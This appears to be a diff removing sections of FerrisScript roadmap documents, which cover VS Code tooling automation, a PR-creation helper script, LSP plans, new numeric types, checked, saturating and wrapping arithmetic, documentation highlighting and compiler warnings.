-**Discovery from v0.0.3 Phase 1**: Error code enum provides centralization point for all error messages.
-
-**Opportunity**: Future internationalization (i18n) - translate error descriptions while keeping error codes stable, provide localized "How to Fix" guidance.
-
-**Investigation Needed**: Which languages to support first, translation workflow, community contributions
-
-**Rationale**: Consider for post-v0.1.0 if international adoption grows
-
----
-
-**6. Automation Decision Framework Implementation** (v0.1.0)
-
-**Discovery from v0.0.3 Phase 4**: Need systematic approach to decide when to automate vs document vs roadmap future automation.
-
-**Opportunity**: Implement automation decision framework from Phase 4 learnings:
-
-- **Phase 1**: Type synchronization validation scripts
-  - Script to compare VS Code completion types with compiler Type enum
-  - CI check to detect type mismatches on PRs
-  - Exit with error if VS Code types drift from compiler
-  - Estimated effort: 2-3 days
-
-- **Phase 2**: Build automation (local development)
-  - Pre-commit hooks for TypeScript compilation in VS Code extension
-  - npm scripts for unified build/test/lint workflows
-  - VS Code tasks for automatic TypeScript watch mode
-  - Estimated effort: 1-2 days
-
-- **Phase 3**: CI/CD pipeline for VS Code extension
-  - GitHub Actions workflow triggered on `extensions/vscode/**` changes
-  - Steps: npm install → compile → lint → build VSIX
-  - Upload VSIX as build artifact
-  - Run on pull requests and develop branch
-  - Estimated effort: 2-3 days
-
-- **Phase 4**: Release automation (v0.1.0+)
-  - Automated VSIX creation on version tags
-  - Upload to GitHub releases automatically
-  - Marketplace publishing automation (investigate)
-  - Estimated effort: 3-4 days
-
-**Benefits**:
-
-- Prevents type drift between VS Code and compiler
-- Catches build failures early in PRs
-- Standardizes local development workflow
-- Reduces manual release overhead
-
-**Rationale**: Phase 4 identified clear automation needs. Framework provides incremental path from manual → validated → automated.
-
-**Documentation**: See `docs/archive/prompt/development/PROMPT_IMPROVEMENTS_PHASE4.md` for detailed framework and decision criteria.
-
-**Blocker**: No blockers. Phase 1 (validation) can start immediately after v0.0.3 merges. Phases 2-4 can proceed in parallel with feature work.
-
----
-
-**7. GitHub CLI PR Creation Helper Script** (v0.1.0)
-
-**Discovery from v0.0.3 Phase 4**: Backtick escaping issues when creating PRs with inline markdown bodies.
-
-**Opportunity**: Create standardized helper script for PR creation:
-
-```powershell
-# scripts/create-pr.ps1
-param(
-    [Parameter(Mandatory=$true)]
-    [string]$Title,
-    
-    [Parameter(Mandatory=$true)]
-    [string]$BodyFile,
-    
-    [string]$Base = "develop"
-)
-
-# Ensure temp directory exists
-if (-not (Test-Path "temp")) { 
-    New-Item -ItemType Directory -Path "temp" | Out-Null 
-}
-
-# Copy body file to temp (gitignored location)
-Copy-Item $BodyFile "temp/pr-body.txt"
-
-# Create PR
-gh pr create --base $Base --title $Title --body-file "temp/pr-body.txt"
-```
-
-**Usage**: `.\scripts\create-pr.ps1 -Title "feat: Feature" -BodyFile "pr-description.md"`
-
-**Benefits**:
-
-- No shell escaping issues (always uses --body-file)
-- Consistent temp/ directory usage (gitignored)
-- Cross-platform compatible (PowerShell Core + Bash variant)
-- Can add validation (required sections, markdown lint)
-
-**Estimated Effort**: 1 day (PowerShell + Bash variants + documentation)
-
-**Documentation**: See `docs/archive/prompt/development/GITHUB_CLI_PR_CREATION.md`
-
-**Blocker**: No blockers. Can implement immediately.
-
----
-
-**8. VS Code Extension Testing Infrastructure** (v0.1.0 - Tier 2)
-
-**Discovery from v0.0.3 Phase 4**: Manual testing caught issues that unit tests might miss. Need automated testing for VS Code integration.
-
-**Opportunity**: Implement automated testing for completion provider:
-
-- **Context Detection Unit Tests** (30-60 min)
-  - Test all context detection patterns (exact position, partial input)
-  - Test regex patterns with edge cases (tabs, mixed whitespace)
-  - Reference: `docs/CONTEXT_DETECTION_TESTING.md`
-  - Estimated effort: 1 hour
-
-- **Completion Provider Integration Tests** (1-2 hours)
-  - Test with VS Code API (document, position, completions)
-  - Verify filtering behavior (statement vs expression context)
-  - Test negative cases (what should NOT appear)
-  - Estimated effort: 2 hours
-
-- **CI Integration** (30 min)
-  - Add test step to GitHub Actions
-  - Run on PRs touching `extensions/vscode/**`
-  - Estimated effort: 30 minutes
-
-**Benefits**:
-
-- Catches regressions early
-- Documents expected behavior as tests
-- Prevents context detection bugs
-- Higher confidence in VS Code-specific behavior
-
-**Rationale**: Manual testing is valuable but time-consuming. Automated tests provide fast feedback during development.
-
-**Documentation**: See `docs/CONTEXT_DETECTION_TESTING.md`, `docs/planning/v0.0.3/PHASE_4_LESSONS_LEARNED.md`
-
-**Blocker**: No blockers. Can start after v0.0.3 merges. Estimated total: 3-4 hours.
-
----
-
-### Future Investigation
-
-**9. Completion Ranking Optimization** (v0.1.0+ - Tier 3)
-
-**Discovery from v0.0.3 Phase 4**: Typing `ret` doesn't auto-suggest `return` due to suggestion ordering.
-
-**Opportunity**: Improve auto-suggestion ranking:
-
-- Frequently used items rank higher
-- Context-relevant items prioritized (return in function body)
-- Partial matches considered with fuzzy matching
-- Learn from user selection patterns
-
-**Investigation Needed**: VS Code completion ranking APIs, best practices, user preference handling
-
-**Estimated Effort**: 2-4 hours investigation + 2-4 hours implementation
-
-**Rationale**: Polish for better UX. Not blocking core functionality but improves developer experience.
-
-**Blocker**: Low priority. Consider for v0.1.0+ after core features complete.
-
----
-
-**10. Semantic Completion** (v0.2.0+ - Tier 3)
-
-**Opportunity**: Context-aware suggestions based on code analysis:
-
-- After `let pos: Vector2`, suggest `Vector2(0.0, 0.0)` constructor
-- Inside function returning `i32`, prioritize `return` + integer expressions
-- After `if`, suggest boolean expressions and common patterns
-- Type-aware variable suggestions
-
-**Investigation Needed**: LSP semantic token API, Rust compiler integration for type info
-
-**Estimated Effort**: 1-2 days research + 2-3 days implementation
-
-**Rationale**: Significantly improves developer experience but requires deeper compiler integration.
-
-**Blocker**: Requires LSP foundation (see item 11). Target for v0.2.0 after LSP base implemented.
-
----
-
-**11. Language Server Protocol (LSP) Integration** (v0.2.0+ - Tier 3)
-
-**Opportunity**: Full LSP implementation for professional IDE experience:
-
-- Go to definition
-- Find references
-- Rename symbol
-- Hover documentation
-- Diagnostics (errors/warnings inline)
-- Code actions (quick fixes)
-- Document symbols (outline)
-
-**Investigation Needed**: tower-lsp crate, protocol implementation, VS Code LSP client setup
-
-**Estimated Effort**: 1-2 weeks
-
-**Rationale**: Major milestone for FerrisScript tooling. Provides professional IDE features expected by developers.
-
-**Blocker**: Large effort. Target for v0.2.0 as major feature. Requires architectural planning.
-
----
-
-### Long-Term Exploration
-
-**12. Integration with GitHub Copilot Workspace** (Timeline: TBD)
-
-**Opportunity**: As GitHub Copilot Workspace evolves, adapt workstream prompt for:
-
-- Multi-file context awareness
-- Long-running workstream sessions
-- Integration with GitHub Issues/Projects
-- Automated PR creation with template
-
-**Investigation Needed**: GitHub Copilot Workspace capabilities, prompt format compatibility, migration strategy
-
-**Rationale**: Watch for GitHub announcements, experiment when GA available
-
-**Blocker**: Depends on GitHub Copilot Workspace release timeline

----
-
-## 🔢 Extended Type System (HIGH PRIORITY)
-
-> **Research**: See `docs/planning/technical/TYPE_PROMOTION_RESEARCH.md` for detailed analysis
-
-### 1. 64-bit Numeric Types
-
-**Status**: 🔴 Not Started  
-**Priority**: High  
-**Rationale**: Enable large values (timestamps, entity IDs) and high-precision calculations
-
-**New Types**:
-
-```rust
-i64  // 64-bit signed integer (-9,223,372,036,854,775,808 to 9,223,372,036,854,775,807)
-f64  // 64-bit double-precision float (IEEE 754)
-```
-
-**Use Cases**:
-
-- **Timestamps**: System time, game time (milliseconds)
-- **Entity IDs**: Large-scale multiplayer games
-- **Large coordinates**: Procedural worlds, space games
-- **High-precision physics**: Scientific simulations
-
-**Example**:
-
-```rust
-// Timestamps
-let start_time: i64 = get_ticks_msec();  // Returns i64 from Godot
-
-// Large entity IDs
-let entity_id: i64 = 9999999999;
-
-// High-precision calculations
-let precise: f64 = 3.141592653589793;
-```
-
-**Implementation**:
-
-1. Add `i64`, `f64` to lexer/parser
-2. Update type checker for new types
-3. Update runtime representation (FFI to Godot)
-4. Add explicit casting: `value as i64`
-5. Update Godot bindings (safe widening from i32→i64, f32→f64)
-6. Add comprehensive tests
-
-**Godot Compatibility**:
-
-- ✅ i32 → i64 (Godot uses i64 internally): Safe widening
-- ✅ f32 → f64 (Godot uses f64 internally): Safe widening
-- ✅ No breaking changes (all conversions safe)

-### 2. Smaller Integer Types
-
-**Status**: 🔴 Not Started  
-**Priority**: Medium  
-**Rationale**: Memory optimization for specific use cases (colors, tiles, compact data structures)
-
-**New Types**:
-
-```rust
-i16  // 16-bit signed integer (-32,768 to 32,767)
-u8   // 8-bit unsigned integer (0 to 255)
-u16  // 16-bit unsigned integer (0 to 65,535)
-```
-
-**Use Cases**:
-
-- **Colors**: `u8` for RGBA channels (0-255)
-- **Tile coordinates**: `i16` for grid positions (-32K to +32K)
-- **Small enums/flags**: `u8` for state machines
-- **Audio samples**: `i16` for PCM audio data
-- **Network packets**: Compact serialization
-
-**Example**:
-
-```rust
-// Color channels
-let red: u8 = 255;
-let green: u8 = 128;
-let blue: u8 = 0;
-let alpha: u8 = 255;
-
-// Tile coordinates (16-bit grid)
-let tile_x: i16 = -1024;
-let tile_y: i16 = 2048;
-
-// Compact state
-let player_state: u8 = 1;  // 0=idle, 1=running, 2=jumping
-```
-
-**Implementation**:
-
-1. Add `i16`, `u8`, `u16` to lexer/parser
-2. Update type checker for new types
-3. Update runtime representation
-4. Add explicit casting with overflow checks
-5. Update Godot bindings (widen to i64 for Godot API)
-6. Add comprehensive tests (especially overflow scenarios)
-
-**Overflow Considerations**:
-
-- Smaller types have higher overflow risk
-- Debug builds: Panic on overflow (Rust default)
-- Release builds: Wrap on overflow (Rust default)
-- Future (v0.3.0): Add checked arithmetic methods
-
-**Tests**: ~12-15 new tests  
-**Estimated Effort**: 1 week
-
----
-
-### 3. Explicit Type Casting
-
-**Status**: 🔴 Not Started  
-**Priority**: High  
-**Rationale**: Enable safe conversions between numeric types
-
-**Syntax**:
-
-```rust
-// Widening (always safe)
-let small: i32 = 42;
-let big: i64 = small as i64;
-
-// Narrowing (may lose data, requires explicit cast)
-let large: i64 = 1000000;
-let narrow: i32 = large as i32;  // Truncates if too large
-
-// Float conversions
-let int_val: i32 = 42;
-let float_val: f32 = int_val as f32;
-let back_to_int: i32 = float_val as i32;  // Truncates decimal
-```
-
-**Casting Rules**:
-
-1. **Widening conversions** (safe): No data loss
-   - `i32 → i64`, `i16 → i32`, `u8 → i32`
-   - `f32 → f64`
-
-2. **Narrowing conversions** (unsafe): May lose data
-   - `i64 → i32` (truncates high bits)
-   - `f64 → f32` (loses precision)
-   - `i32 → i16`, `i32 → u8` (truncates)
-
-3. **Float ↔ Integer**: Truncates decimal part
-
-**Compiler Behavior**:
-
-- Explicit `as` cast required (no implicit conversions)
-- Compiler warns on narrowing conversions (future)
-- Runtime behavior matches Rust (wrapping/truncation)
-
-**Tests**: ~20-25 new tests (comprehensive casting matrix)  
-**Estimated Effort**: 3-4 days

-### 4. Unsigned 32-bit/64-bit Types (Optional)
-
-**Status**: 🔴 Not Started  
-**Priority**: Low  
-**Rationale**: Completeness, bit manipulation, specific algorithms
-
-**New Types**:
-
-```rust
-u32  // 32-bit unsigned integer (0 to 4,294,967,295)
-u64  // 64-bit unsigned integer (0 to 18,446,744,073,709,551,615)
-```
-
-**Use Cases**:
-
-- **Bit manipulation**: Flags, bitmasks
-- **Hashing**: Hash values (always positive)
-- **Large IDs**: Entity IDs, UUIDs
-- **Memory addresses**: Low-level operations
-
-**Considerations**:
-
-- Godot doesn't use unsigned extensively
-- Adds complexity (signed/unsigned mixing)
-- Overflow behavior differs from signed
-
-**Decision**: Defer unless strong user demand

-## 🚫 Explicitly Out of Scope
-
-### Not in v0.2.0
-
-1. **Automatic Type Promotion** ❌
-   - Not aligned with explicit design philosophy
-   - See TYPE_PROMOTION_RESEARCH.md for rationale
-   - Deferred to v1.0+ (if ever)
-
-2. **Checked Arithmetic Methods** ❌
-   - Deferred to v0.3.0 (see `v0.3.0-roadmap.md`)
-   - Requires extended type system first
-
-3. **Generics/Templates** ❌
-   - Too complex for v0.2.0
-   - Consider for v0.5.0+
-
-4. **Async/Await** ❌
-   - Not needed for Godot scripting
-   - Deferred indefinitely
-
----
-
-## 📝 Open Questions
-
-1. **Should we add unsigned 32/64-bit types** (`u32`, `u64`)?
-   - Pros: Completeness, bit manipulation
-   - Cons: Adds complexity, limited Godot use
-   - **Decision**: Defer unless user demand
-
-2. **Should overflow panic in release builds**?
-   - Rust defaults to wrapping (performance)
-   - Games may prefer deterministic behavior
-   - **Decision**: Follow Rust defaults, make configurable later
-
-3. **Should we support type inference for literals**?
-   - `let x = 42` → infer `i32` or `i64`?
-   - **Decision**: Default to `i32` (matches current behavior)
-
-4. **How to handle mixed-type arithmetic**?
-   - `i32 + i64` → error or auto-promote?
-   - **Decision**: Require explicit cast (matches Rust)
-

-
-## 🛡️ Checked Arithmetic (HIGH PRIORITY)
-
-> **Research**: See `docs/planning/technical/TYPE_PROMOTION_RESEARCH.md` for overflow strategies
-
-### 1. Checked Methods (Returns Optional)
-
-**Status**: 🔴 Not Started  
-**Priority**: High  
-**Rationale**: Detect overflow at runtime, return `None` if overflow occurs
-
-**New Methods**:
-
-```rust
-// Addition
-fn checked_add(self, rhs: Self) -> Option<Self>
-
-// Subtraction
-fn checked_sub(self, rhs: Self) -> Option<Self>
-
-// Multiplication
-fn checked_mul(self, rhs: Self) -> Option<Self>
-
-// Division
-fn checked_div(self, rhs: Self) -> Option<Self>
-
-// Negation
-fn checked_neg(self) -> Option<Self>
-
-// Exponentiation
-fn checked_pow(self, exp: u32) -> Option<Self>
-```
-
-**Example Usage**:
-
-```rust
-fn add_health(current: i32, amount: i32) -> i32 {
-    // Safe addition with overflow detection
-    match current.checked_add(amount) {
-        Some(new_health) => new_health,
-        None => {
-            print("Warning: Health overflow, clamping to max");
-            i32::MAX  // Fallback to max
-        }
-    }
-}
-
-// With error propagation (if FerrisScript gets `?` operator)
-fn calculate_damage(base: i32, multiplier: i32) -> Option<i32> {
-    let damage = base.checked_mul(multiplier)?;
-    Some(damage)
-}
-```
-
-**Implementation**:
-
-1. Add `Option<T>` type to type system
-2. Implement checked methods for all numeric types
-3. Runtime overflow detection (CPU flags or software checks)
-4. Return `None` on overflow
-5. Add comprehensive tests (boundary values)
-
-**Supported Types**:
-
-- `i32`, `i64`, `i16`, `u8`, `u16`, `u32` (if added), `u64` (if added)
-- Not needed for `f32`, `f64` (floats have Infinity/NaN)
-
-**Tests**: ~30-40 new tests (all types × all operations)  
-**Estimated Effort**: 1-2 weeks
-
----
-
-### 2. Saturating Methods (Clamps to Min/Max)
-
-**Status**: 🔴 Not Started  
-**Priority**: High  
-**Rationale**: Clamp results to type's min/max instead of wrapping
-
-**New Methods**:
-
-```rust
-// Addition (clamps to MAX)
-fn saturating_add(self, rhs: Self) -> Self
-
-// Subtraction (clamps to MIN)
-fn saturating_sub(self, rhs: Self) -> Self
-
-// Multiplication (clamps to MAX/MIN)
-fn saturating_mul(self, rhs: Self) -> Self
-
-// Exponentiation (clamps to MAX)
-fn saturating_pow(self, exp: u32) -> Self
-```
-
-**Example Usage**:
-
-```rust
-fn add_score(current: i32, points: i32) -> i32 {
-    // Add points, but never overflow (clamps to i32::MAX)
-    current.saturating_add(points)
-}
-
-fn apply_damage(health: i32, damage: i32) -> i32 {
-    // Subtract damage, but never go below 0 (clamps to 0)
-    health.saturating_sub(damage).max(0)
-}
-
-fn calculate_velocity(speed: i32, boost: i32) -> i32 {
-    // Multiply, but clamp if too fast
-    speed.saturating_mul(boost)
-}
-```
-
-**Use Cases**:
-
-- **Game health/mana**: Never overflow above max
-- **Score systems**: Clamp to max score
-- **Physics calculations**: Clamp velocity/force
-- **Resource counters**: Clamp to limits
-
-**Implementation**:
-
-1. Implement saturating methods for all numeric types
-2. Clamp to `Self::MIN` or `Self::MAX` on overflow
-3. Add comprehensive tests
-
-**Tests**: ~30-40 new tests  
-**Estimated Effort**: 1 week
-
----
-
-### 3. Wrapping Methods (Explicit Wrap)
-
-**Status**: 🔴 Not Started  
-**Priority**: Medium  
-**Rationale**: Explicitly document wrapping behavior (already default in release)
-
-**New Methods**:
-
-```rust
-// Addition (wraps on overflow)
-fn wrapping_add(self, rhs: Self) -> Self
-
-// Subtraction (wraps on underflow)
-fn wrapping_sub(self, rhs: Self) -> Self
-
-// Multiplication (wraps on overflow)
-fn wrapping_mul(self, rhs: Self) -> Self
-
-// Negation (wraps at MIN)
-fn wrapping_neg(self) -> Self
-```
-
-**Example Usage**:
-
-```rust
-fn update_frame_counter(current: u32) -> u32 {
-    // Intentional wrap (cycles 0 → u32::MAX → 0)
-    current.wrapping_add(1)
-}
-
-fn calculate_hash(value: i32, seed: i32) -> i32 {
-    // Hash functions often rely on wrapping
-    value.wrapping_mul(31).wrapping_add(seed)
-}
-```
-
-**Use Cases**:
-
-- **Frame counters**: Intentional wrapping
-- **Hash functions**: Wrapping is expected
-- **Cryptography**: Modular arithmetic
-- **Low-level algorithms**: Explicit wrap behavior
-
-**Implementation**:
-
-1. Implement wrapping methods for all numeric types
-2. Wrap at type boundaries (already default behavior)
-3. Document wrapping as intentional
-
-**Rationale**: Makes wrapping **explicit** in code (self-documenting)
-
-**Tests**: ~20-25 new tests  
-**Estimated Effort**: 3-4 days
-
----
-
-### 4. Overflowing Methods (Returns Tuple)
-
-**Status**: 🔴 Not Started  
-**Priority**: Low  
-**Rationale**: Return result + overflow flag (advanced use case)
-
-**New Methods**:
-
-```rust
-// Returns (result, did_overflow)
-fn overflowing_add(self, rhs: Self) -> (Self, bool)
-fn overflowing_sub(self, rhs: Self) -> (Self, bool)
-fn overflowing_mul(self, rhs: Self) -> (Self, bool)
-fn overflowing_neg(self) -> (Self, bool)
-```
-
-**Example Usage**:
-
-```rust
-fn add_with_carry(a: i32, b: i32, carry: bool) -> (i32, bool) {
-    let (sum, overflow1) = a.overflowing_add(b);
-    let (final_sum, overflow2) = sum.overflowing_add(if carry { 1 } else { 0 });
-    (final_sum, overflow1 || overflow2)
-}
-```
-
-**Use Cases**:
-
-- **Multi-precision arithmetic**: Building larger integers
-- **Carry flags**: Emulating CPU arithmetic
-- **Low-level algorithms**: Need overflow information
-
-**Implementation**:
-
-1. Return tuple: `(wrapped_result, did_overflow)`
-2. Implement for all numeric types
-
-**Tests**: ~15-20 new tests  
-**Estimated Effort**: 2-3 days
-

-## 📊 Type Constants (Supporting Feature)
-
-### Min/Max Constants for All Types
-
-**Status**: 🔴 Not Started  
-**Priority**: Medium  
-**Rationale**: Enable boundary checks and clamping
-
-**New Constants**:
-
-```rust
-// Integer types
-i32::MIN    // -2147483648
-i32::MAX    // 2147483647

-f32::MAX          // Largest finite value
-f32::INFINITY     // Positive infinity
-f32::NEG_INFINITY // Negative infinity
-f32::NAN          // Not a number
-// ... etc for f64
-```
-
-**Example Usage**:
-
-```rust
-fn clamp_to_byte(value: i32) -> u8 {
-    if value < u8::MIN as i32 {
-        u8::MIN
-    } else if value > u8::MAX as i32 {
-        u8::MAX
-    } else {
-        value as u8
-    }
-}
-
-fn is_valid_score(score: i32) -> bool {
-    score >= 0 && score <= i32::MAX
-}
-```
-
-**Implementation**:
-
-1. Add constants to type system

-## 🛠️ LSP Integration (Developer Experience)
-
-### 1. Overflow Warnings
-
-**Status**: 🔴 Not Started  
-**Priority**: Medium  
-**Dependencies**: LSP (v0.1.0), dataflow analysis
-
-**Features**:
-
-```rust
-// LSP warning: "Potential overflow in constant expression"
-let big: i32 = 2000000000 + 2000000000;
-//             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ overflow detected
-
-// Suggestion: "Use checked_add() or i64 type"
-let safe = 2000000000_i32.checked_add(2000000000)?;
-let wide = 2000000000_i64 + 2000000000_i64;
-```
-
-**Implementation**:
-
-1. Constant folding for literal overflow detection
-2. Range analysis for variable overflow detection
-3. Emit LSP warnings for potential overflows
-4. Suggest fixes (checked methods, wider types)
-
-**Tests**: LSP diagnostic tests  
-**Estimated Effort**: 1-2 weeks (requires dataflow analysis)
-
----
-
-### 2. Quick Fixes
-
-**Status**: 🔴 Not Started  
-**Priority**: Low  
-**Dependencies**: LSP code actions
-
-**Features**:
-
-- Quick fix: Convert `+` to `.checked_add()`
-- Quick fix: Convert `i32` to `i64`
-- Quick fix: Add `.saturating_add()` for clamping
-
-**Example**:
-
-```rust
-// User writes:
-let result = a + b;  // Warning: potential overflow
-
-// LSP offers quick fixes:
-// 1. Use checked_add(): a.checked_add(b)?
-// 2. Use saturating_add(): a.saturating_add(b)
-// 3. Widen types: (a as i64) + (b as i64)
-```
-
-**Tests**: LSP code action tests  
-**Estimated Effort**: 3-5 days

-3. **Arbitrary-Precision Integers** ❌
-   - No BigInt type
-   - Reason: Performance, complexity
-   - Deferred to v1.0+ if requested
-
-4. **Fixed-Point Arithmetic** ❌
-   - No fixed-point number types
-   - Reason: Use f32/f64 or custom library
-   - Deferred indefinitely

-## 📝 Open Questions
-
-1. **Should we add a `Result<T, E>` type** for better error handling?
-   - Checked methods currently return `Option<T>`
-   - `Result<T, OverflowError>` provides more context
-   - **Decision**: Consider for v0.4.0
-
-2. **Should overflow panic in debug builds** (like Rust)?
-   - Rust: Panic in debug, wrap in release
-   - FerrisScript: Currently wraps always
-   - **Decision**: Match Rust behavior (breaking change, needs migration guide)
-
-3. **Should we add overflow warnings** for non-constant expressions?
-   - Requires dataflow analysis (complex)
-   - May have false positives
-   - **Decision**: Start with constant expressions, expand later
-
-4. **Should we provide `#[overflow_checks(on/off)]`** attribute?
-   - Per-function overflow checking
-   - Adds complexity
-   - **Decision**: Defer to v0.4.0+

-**Estimated Effort**: 2-3 weeks
-
-**Note on Hosting**: If using GitHub Pages (Jekyll), see Task #2 for GitHub Pages-specific syntax highlighting considerations.
-
----
-
-### 2. Shiki Syntax Highlighting Integration
-
-**Status**: 🔴 Not Started  
-**Priority**: High  
-**Rationale**: Professional code highlighting in documentation
-
-> **Research**: See `docs/planning/technical/MARKDOWN_SYNTAX_HIGHLIGHTING_RESEARCH.md` for detailed analysis
-
-**Implementation** (if NOT using GitHub Pages):
-
-1. Install Shiki in documentation site
-2. Configure to load FerrisScript TextMate grammar (from v0.1.0)
-3. Test with various code examples
-4. Verify theme compatibility (dark/light modes)
-5. Optimize bundle size
-
-**GitHub Pages Alternative** (if using Jekyll):
-
-- **Option A**: Use Highlight.js (client-side, 2 days, immediate)
-- **Option B**: Submit Rouge lexer (server-side, 1-2 months, official)
-- **Recommendation**: Start with Option A for v0.4.0, consider Option B for v0.5.0+
-
-See research document for detailed comparison and decision guide.
-
-**Example**:
-
-```javascript
-// vite.config.js (VitePress example)
-import { defineConfig } from 'vitepress';
-import { getHighlighter } from 'shiki';
-
-export default defineConfig({
-  markdown: {
-    highlight: async (code, lang) => {
-      const highlighter = await getHighlighter({
-        themes: ['nord', 'min-light'],
-        langs: [
-          {
-            id: 'ferrisscript',
-            scopeName: 'source.ferrisscript',
-            path: './ferrisscript.tmLanguage.json',  // Reuse VS Code grammar!
-          }
-        ]
-      });
-      return highlighter.codeToHtml(code, { lang, theme: 'nord' });
-    }
-  }
-});
-```
-
-**Benefits**:
-
-- ✅ Reuses VS Code TextMate grammar (zero duplication)
-- ✅ Perfect consistency between editor and docs
-- ✅ Supports multiple themes
-- ✅ Very accurate highlighting
-
-**Tests**: Visual validation across themes and examples  
-**Estimated Effort**: 2 days
-
----
-
-### 3. API Documentation Generator
-
-**Status**: 🔴 Not Started  
-**Priority**: Medium  
-**Rationale**: Auto-generate docs from code comments
-
-**Options**:
-
-- Custom tool (parse FerrisScript comments)
-- Adapt existing tool (rustdoc-inspired)
-- Manual documentation (interim solution)
-
-**Documentation Comments**:
-
-```rust
-/// Adds two numbers together.
-///
-/// # Arguments
-/// * `a` - First number
-/// * `b` - Second number
-///
-/// # Returns
-/// Sum of a and b
-///
-/// # Examples
-/// ```ferrisscript
-/// let result = add(5, 3);  // result = 8
-/// ```
-fn add(a: i32, b: i32) -> i32 {
-    a + b
-}
-```
-
-**Generated Output**:
-
-- HTML pages for each function/type
-- Search index for API reference
-- Links between related items
-- Code examples
-
-**Tests**: Parser tests, output validation  
-**Estimated Effort**: 1-2 weeks (custom tool) OR 3-5 days (manual)
-
-**Recommendation**: Start with **manual documentation** in v0.4.0, build custom tool in v0.5.0+
-
----
-
-### 4. Interactive Code Playground (Stretch Goal)
-
-**Status**: 🔴 Not Started  
-**Priority**: Low (Nice-to-have)  
-**Rationale**: Let users try FerrisScript in browser without installation
-
-**Tech Stack**:
-
-- WebAssembly compilation of FerrisScript compiler
-- Monaco Editor (VS Code's editor in browser)
-- Syntax highlighting integration
-
-**Features**:
-
-- Edit FerrisScript code in browser
-- Compile and show errors
-- See generated bytecode (optional)
-- Share code snippets (URLs)

-fn _ready() {
-    print("Hello, Ferris!");
-}
-\`\`\`
-
-### Before v0.4.0 (Fallback)
-Use `rust` language tag with note:
-\`\`\`rust
-// FerrisScript code (using Rust highlighting)
-fn _ready() {
-    print("Hello, Ferris!");
-}
-\`\`\`
-
-> **Note**: Currently using Rust syntax highlighting as approximation.
-> Native FerrisScript highlighting coming in v0.4.0.
-```
-
-**Implementation**:
-
-1. Create `MARKDOWN_GUIDELINES.md` in docs/
-2. Update all existing markdown files

-
-## 🧠 Compiler Intelligence & Static Analysis (MEDIUM PRIORITY)
-
-### 1. Overflow Detection Warnings
-
-**Status**: 🔴 Not Started  
-**Priority**: Medium  
-**Dependencies**: Dataflow analysis, LSP integration (v0.1.0)
-
-**Features**:
-
-```rust
-// Warning: Potential overflow in constant expression
-let big: i32 = 2000000000 + 2000000000;
-//             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ overflow detected
-
-// Suggestion: Use i64 or checked arithmetic
-let safe: i64 = 2000000000_i64 + 2000000000_i64;
-let checked: i32 = 2000000000_i32.checked_add(2000000000)?;
-```
-
-**Implementation**:
-
-1. **Constant folding**: Detect literal overflow at compile time
-2. **Range analysis**: Detect variable overflow potential
-3. **Emit warnings**: Integrate with LSP diagnostics
-4. **Suggest fixes**: Code actions for quick fixes
-
-**LSP Integration**:
-
-- Diagnostic messages with severity levels
-- Code actions ("Convert to i64", "Use checked_add")
-- Quick fixes in VS Code
-
-**Tests**: Overflow detection tests, LSP diagnostic tests  
-**Estimated Effort**: 1-2 weeks
-
----
-
-### 2. Unused Variable/Function Warnings
-
-**Status**: 🔴 Not Started  
-**Priority**: Medium  
-**Rationale**: Help developers clean up code
-
-**Examples**:
-
-```rust
-// Warning: Unused variable `x`
-let x: i32 = 42;  // Never used
-
-// Warning: Unused function `helper`
-fn helper() {  // Never called
-    print("Helper");
-}
-
-// Suppress warning with underscore prefix
-let _ignored: i32 = 42;  // OK
-```
-
-**Implementation**:
-
-1. Track variable/function usage in semantic analysis
-2. Emit warnings for unused items
-3. Support suppression (`_prefix` convention)
-4. Integrate with LSP
-
-**Tests**: Unused detection tests  
-**Estimated Effort**: 3-5 days
-
----
-
-### 3. Dead Code Elimination Warnings
-
-**Status**: 🔴 Not Started  
-**Priority**: Low  
-**Rationale**: Identify unreachable code
-
-**Examples**:
-
-```rust
-// Warning: Unreachable code
-fn example() {
-    return;
-    print("Never executed");  // Warning: unreachable
-}
-
-// Warning: Dead branch
-if true {
-    print("Always executed");
-} else {
-    print("Never executed");  // Warning: dead code
-}
-```
-
-**Implementation**:
-
-1. Control flow graph analysis
-2. Detect unreachable statements
-3. Emit warnings
-4. Integrate with LSP
-
-**Tests**: Dead code detection tests  
-**Estimated Effort**: 5-7 days
-
----
-
-### 4. Type Inference Improvements
-
-**Status**: 🔴 Not Started  
-**Priority**: Low  
-**Rationale**: Reduce explicit type annotations (where safe)
-
-**Examples**:
-
-```rust
-// Current: Explicit type required
-let position: Vector2 = Vector2 { x: 100.0, y: 200.0 };
-
-// Improved: Type inferred from literal
-let position = Vector2 { x: 100.0, y: 200.0 };  // Infers Vector2
-
-// Function return type inference
-fn get_position() -> Vector2 {  // Still explicit for function signatures
-    Vector2 { x: 0.0, y: 0.0 }  // Infers return type
-}
-```
-
-**Scope**:
-
-- Infer types from literals and constructors
-- Keep explicit types for function signatures
-- Keep explicit types for globals
-- Opt-in inference (don't force it)
-
-**Tests**: Type inference tests  
-**Estimated Effort**: 1-2 weeks (depends on scope)
-
-**Recommendation**: **Defer to v0.5.0+** (not critical, adds complexity)
-
----
-
-## 🛠️ Developer Tooling Enhancements (MEDIUM PRIORITY)
-
-### 1. Enhanced LSP Features
-
-**Status**: 🔴 Not Started  
-**Priority**: Medium  
-**Dependencies**: v0.1.0 LSP foundation
-
-**New Capabilities**:
-
-- **Inlay hints**: Show inferred types inline
-- **Semantic highlighting**: Color variables by mutability/scope
-- **Symbol renaming**: Rename across files
-- **Find all references**: Show all usages
-- **Code lens**: Show function usage counts
-- **Folding ranges**: Collapse code blocks
-
-**Example (Inlay Hints)**:
-
-```rust
-// Without hints
-let position = Vector2 { x: 100.0, y: 200.0 };
-
-// With hints (shown in gray in editor)
-let position: Vector2 = Vector2 { x: 100.0, y: 200.0 };
-              ^^^^^^^^  // Inlay hint
-```
-
-**Tests**: LSP protocol tests  
-**Estimated Effort**: 1-2 weeks
-
----
-
-### 2. Debugger Integration (Stretch Goal)

-- Step through code execution
-- Inspect variables
-- View call stack
-- Integration with Godot debugger
-
-**Challenges**:
-
-- Debug information generation
-- Godot integration complexity
-- Platform-specific debugging
-
-**Recommendation**: **Defer to v0.5.0+** (complex, low priority)
-
-**Estimated Effort**: 3-4 weeks (complex feature)
-
----
-
-### 3. Performance Profiling (Stretch Goal)
-
-**Status**: 🔴 Not Started  
-**Priority**: Low  
-**Rationale**: Identify performance bottlenecks
-
-**Features**:
-
-- Function execution time tracking
-- Memory allocation tracking
-- Hot path identification
-- Integration with Godot profiler
-
